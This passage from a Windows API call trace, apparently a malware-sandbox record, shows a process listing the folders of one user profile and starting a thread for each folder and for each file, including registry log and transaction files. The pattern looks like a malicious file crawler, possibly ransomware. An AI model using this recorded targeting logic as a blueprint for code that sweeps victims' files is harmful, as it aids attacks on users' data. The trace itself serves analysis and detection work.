lpStartAddress=0x32102b0, lpParameter=0x3433d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0062.476] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0062.476] wcscmp (_String1="Links", _String2=".") returned 1 [0062.476] wcscmp (_String1="Links", _String2="..") returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33e9520 [0062.476] wcscpy (in: _Dest=0x33e9520, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.476] wcscat (in: _Dest=0x33e9520, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.476] wcscat (in: _Dest=0x33e9520, _Source="Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links" [0062.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0062.477] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0062.477] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0062.477] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fcce0 [0062.477] wcscpy (in: _Dest=0x33fcce0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.478] wcscat (in: _Dest=0x33fcce0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.478] wcscat (in: _Dest=0x33fcce0, _Source="Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings" [0062.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fcce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0062.478] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5db024a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5db024a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0062.478] wcscmp (_String1="Music", _String2=".") returned 1 [0062.478] wcscmp (_String1="Music", _String2="..") returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33e9718 [0062.479] wcscpy (in: _Dest=0x33e9718, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.479] wcscat (in: _Dest=0x33e9718, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.479] wcscat (in: _Dest=0x33e9718, _Source="Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0062.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0062.479] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0062.479] wcscmp (_String1="My Documents", _String2=".") returned 1 [0062.479] wcscmp (_String1="My Documents", _String2="..") returned 1 [0062.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce90 [0062.480] wcscpy (in: _Dest=0x33fce90, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.480] wcscat (in: _Dest=0x33fce90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.480] wcscat (in: _Dest=0x33fce90, _Source="My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents" [0062.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fce90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0062.481] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0062.481] wcscmp (_String1="NetHood", _String2=".") returned 1 [0062.481] wcscmp (_String1="NetHood", _String2="..") returned 1 [0062.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9478 [0062.481] wcscpy (in: _Dest=0x33e9478, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.481] wcscat (in: _Dest=0x33e9478, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.481] wcscat (in: _Dest=0x33e9478, _Source="NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood" [0062.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0062.482] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0062.482] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0062.482] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0062.482] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0062.482] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1 [0062.482] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1 [0062.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0062.482] wcscpy (in: _Dest=0x33fce48, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.482] wcscat (in: _Dest=0x33fce48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.482] wcscat (in: _Dest=0x33fce48, _Source="ntuser.dat.LOG1" | out: _Dest="C:\\Users\\FD1HVy\\ntuser.dat.LOG1") returned="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" [0062.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fce48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0062.483] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0062.483] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1 [0062.483] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1 [0062.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0062.483] wcscpy (in: _Dest=0x33fd088, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.483] wcscat (in: _Dest=0x33fd088, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.483] wcscat (in: _Dest=0x33fd088, _Source="ntuser.dat.LOG2" | out: _Dest="C:\\Users\\FD1HVy\\ntuser.dat.LOG2") returned="C:\\Users\\FD1HVy\\ntuser.dat.LOG2" [0062.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fd088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0062.484] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0062.484] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2=".") returned 1 [0062.484] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2="..") returned 1 [0062.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0062.484] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.484] wcscat (in: _Dest=0x33e21c8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.484] wcscat (in: _Dest=0x33e21c8, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" [0062.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e21c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0062.485] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0062.485] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0062.485] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0062.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x34247d0 [0062.485] wcscpy (in: _Dest=0x34247d0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.485] wcscat (in: _Dest=0x34247d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.485] wcscat (in: _Dest=0x34247d0, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" [0062.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34247d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0062.486] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0062.486] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0062.486] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x34248b8 [0062.486] wcscpy (in: _Dest=0x34248b8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.486] wcscat (in: _Dest=0x34248b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.486] wcscat (in: _Dest=0x34248b8, _Source="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: _Dest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" [0062.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34248b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0062.487] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0062.487] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0062.487] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0062.487] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0062.487] wcscmp (_String1="OneDrive", _String2=".") returned 1 [0062.487] wcscmp (_String1="OneDrive", _String2="..") returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x34338e8 [0062.487] wcscpy (in: _Dest=0x34338e8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.487] wcscat (in: _Dest=0x34338e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.487] wcscat (in: _Dest=0x34338e8, _Source="OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive" [0062.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34338e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0062.488] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dccc0fb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dccc0fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0062.488] wcscmp (_String1="Pictures", _String2=".") returned 1 [0062.488] wcscmp (_String1="Pictures", _String2="..") returned 1 [0062.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433de8 [0062.488] wcscpy (in: _Dest=0x3433de8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.488] wcscat (in: _Dest=0x3433de8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.488] wcscat (in: _Dest=0x3433de8, _Source="Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0062.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0062.489] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0062.489] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0062.489] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0062.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433a28 [0062.489] wcscpy (in: _Dest=0x3433a28, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.489] wcscat (in: _Dest=0x3433a28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.489] wcscat (in: _Dest=0x3433a28, _Source="PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood" [0062.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0062.490] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0062.490] wcscmp (_String1="Recent", _String2=".") returned 1 [0062.490] wcscmp (_String1="Recent", _String2="..") returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33e94b0 [0062.490] wcscpy (in: _Dest=0x33e94b0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.490] wcscat (in: _Dest=0x33e94b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.490] wcscat (in: _Dest=0x33e94b0, _Source="Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent" [0062.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e94b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0062.491] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0062.491] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0062.491] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0062.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3433868 [0062.491] wcscpy (in: _Dest=0x3433868, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.491] wcscat (in: _Dest=0x3433868, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.491] wcscat (in: _Dest=0x3433868, _Source="Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games" [0062.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0062.492] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0062.492] wcscmp (_String1="Searches", _String2=".") returned 1 [0062.492] wcscmp (_String1="Searches", _String2="..") returned 1 [0062.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433e68 [0062.492] wcscpy (in: _Dest=0x3433e68, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.492] wcscat (in: _Dest=0x3433e68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.492] wcscat (in: _Dest=0x3433e68, _Source="Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0062.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0062.493] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0062.493] wcscmp (_String1="SendTo", _String2=".") returned 1 [0062.493] wcscmp (_String1="SendTo", _String2="..") returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 